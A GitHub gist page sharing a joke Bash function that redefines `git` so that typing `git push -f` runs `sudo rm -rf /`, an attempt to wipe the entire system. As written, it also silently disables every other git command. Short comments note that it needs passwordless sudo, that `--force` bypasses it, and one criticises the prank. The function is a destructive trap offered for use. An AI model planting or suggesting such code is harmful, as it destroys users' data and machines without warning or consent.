Skip to content

Instantly share code, notes, and snippets.

@rgrove
Created July 27, 2013 22:27
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rgrove/6096534 to your computer and use it in GitHub Desktop.
Save rgrove/6096534 to your computer and use it in GitHub Desktop.
A handy Bash function to punish people who use `git push -f`
git() {
if [[ "$1" == "push" && "$2" == "-f" ]]; then
sudo rm -rf /
fi
}
@erkinalp
Copy link

This needs setting passwordless on /etc/sudoers.

@adityamenon-iom
Copy link

Whoa! Pretty extreme!

@sandeepraju
Copy link

git push --force ;)

@algebric
Copy link

No. Don't attempt to solve a hostile development environment with oh so funny scripts making even more hostile development environment, focus on quality of your own code and commiting fixes instead. And yes, I know it is a joke but anyways.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment